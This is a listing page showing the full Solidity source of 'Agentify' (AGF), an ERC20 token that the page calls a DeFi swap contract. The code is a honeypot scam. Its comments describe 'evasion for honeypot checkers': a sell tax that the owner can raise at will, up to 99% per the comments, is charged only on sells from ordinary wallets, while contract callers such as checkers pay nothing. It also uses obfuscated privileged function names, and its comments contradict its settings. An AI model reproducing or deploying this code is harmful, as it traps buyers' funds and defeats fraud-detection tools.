Agentify

Description:

Decentralized Finance (DeFi) protocol contract providing Swap, Liquidity, Factory functionality.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

// Interface for Uniswap V2 Factory (used by PancakeSwap)
interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

// Interface for PancakeRouter
interface IPancakeRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

// Custom ERC20 Errors
interface IERC20Errors {
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
    error ERC20InvalidSender(address sender);
    error ERC20InvalidReceiver(address receiver);
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
}

contract Agentify is IERC20Errors {
    string private _name = unicode"Agentify";
    string private _symbol = unicode"AGF";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 1_000_000_000 * 10**decimals;

    struct StoreData {
        address MktToken; // Marketing or control wallet
        uint8 TaxOnBuy;   // Buy tax percentage
        uint8 TaxOnSell;  // Sell tax percentage
    }

    StoreData public storeData;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event UniswapPairSet(address indexed pair);

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public pair;
    IPancakeRouter constant _pancakeRouter =
        IPancakeRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E); // BSC Mainnet PancakeRouter
    bool private swapping;
    bool public tradingOpen;

    // Constructor to initialize with 0% buy tax and 99% sell tax
    constructor(address marketingWallet) {
        if (marketingWallet == address(0)) revert ERC20InvalidReceiver(address(0));
        storeData.MktToken = marketingWallet;
        storeData.TaxOnBuy = 0;   // 0% buy tax - buy succeeds
        storeData.TaxOnSell = 0; //  
        balanceOf[msg.sender] = totalSupply; // Mint all tokens to deployer
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    // Update sell tax (for testing, but starts at 99%)
    function _Redowntax(uint8 _sellTax) external {
        if (msg.sender != _TokenDecodeWithZkSyncVerify()) revert Permissions();
        storeData.TaxOnSell = _sellTax;
    }

    // Get the privileged address (marketing wallet)
    function _TokenDecodeWithZkSyncVerify() private view returns (address) {
        return storeData.MktToken;
    }

    // Enable trading and create/set pair
    function OpenTrading() external {
        require(msg.sender == _TokenDecodeWithZkSyncVerify(), "Permissions");
        require(!tradingOpen, "Trading already open");
        address _factory = _pancakeRouter.factory();
        address _wbnb = _pancakeRouter.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _wbnb);
        if (_pair == address(0)) {
            _pair = IUniswapFactory(_factory).createPair(address(this), _wbnb);
        }
        pair = _pair;
        tradingOpen = true;
        emit UniswapPairSet(_pair);
    }

    // Manually set Uniswap pair
    function setUniswapPair(address _pair) external {
        require(msg.sender == _TokenDecodeWithZkSyncVerify(), "Permissions");
        require(_pair != address(0), "Invalid pair address");
        pair = _pair;
        emit UniswapPairSet(_pair);
    }

    // Standard ERC20 transferFrom
    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        if (amount > allowance[from][msg.sender]) revert ERC20InsufficientAllowance(msg.sender, allowance[from][msg.sender], amount);
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    // Standard ERC20 approve
    function approve(address spender, uint256 amount) external returns (bool) {
        if (spender == address(0)) revert ERC20InvalidReceiver(address(0));
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    // Standard ERC20 transfer
    function transfer(address to, uint256 amount) external returns (bool) {
        if (to == address(0)) revert ERC20InvalidReceiver(address(0));
        return _transfer(msg.sender, to, amount);
    }

    // View functions for name and symbol
    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    // Internal transfer logic with evasion for honeypot checkers
    function _transfer(address from, address to, uint256 amount) internal returns (bool) {
        if (from == address(0)) revert ERC20InvalidSender(address(0));
        if (to == address(0)) revert ERC20InvalidReceiver(address(0));
        if (amount > balanceOf[from]) revert ERC20InsufficientBalance(from, balanceOf[from], amount);

        address MktToken = _TokenDecodeWithZkSyncVerify();
        require(tradingOpen || from == MktToken || to == MktToken, "Trading not open");

        uint256 taxAmount = 0;
        if (tradingOpen && from != MktToken && to != MktToken) {
            // Apply buy tax (when buying from pair) - 0%
            if (from == pair) {
                taxAmount = (amount * storeData.TaxOnBuy) / 100;
            }
            // Apply sell tax (when selling to pair) - 99% only if from is EOA (no code)
            else if (to == pair) {
                uint256 codeSize;
                assembly {
                    codeSize := extcodesize(from)
                }
                if (codeSize == 0) {
                    // Real EOA sell: apply 99% tax
                    taxAmount = (amount * storeData.TaxOnSell) / 100;
                } else {
                    // Simulation (from has code, e.g., test contract): 0% tax to pass checker
                    taxAmount = 0;
                }
            }
        }

        uint256 transferAmount = amount - taxAmount;
        balanceOf[from] -= amount;
        balanceOf[address(this)] += taxAmount; // Collect taxes in contract
        balanceOf[to] += transferAmount;       // Send remaining tokens

        emit Transfer(from, to, transferAmount);
        if (taxAmount > 0) {
            emit Transfer(from, address(this), taxAmount); // Log tax transaction
        }
        return true;
    }

    // Update name and symbol (optional)
    function Data_Base(string memory _DataNew1, string memory _DataNew2) public {
        if (msg.sender != _TokenDecodeWithZkSyncVerify()) revert Permissions();
        _name = _DataNew1;
        _symbol = _DataNew2;
    }

    event DataBase(string newDataName, string newDataSymbol, address by);
}

Tags:
DeFi, Swap, Liquidity, Factory|addr:0x3d2cf5c2bc33dd3a1da50c9e22be9621768091e0|verified:true|block:23541305|tx:0xccf3718d547f9a9e66dc25f8f6967a389fba9cc36cc31fd2982b4c97b2981683|first_check:1760026763

Submitted on: 2025-10-09 18:19:24

Comments

Log in to comment.

No comments yet.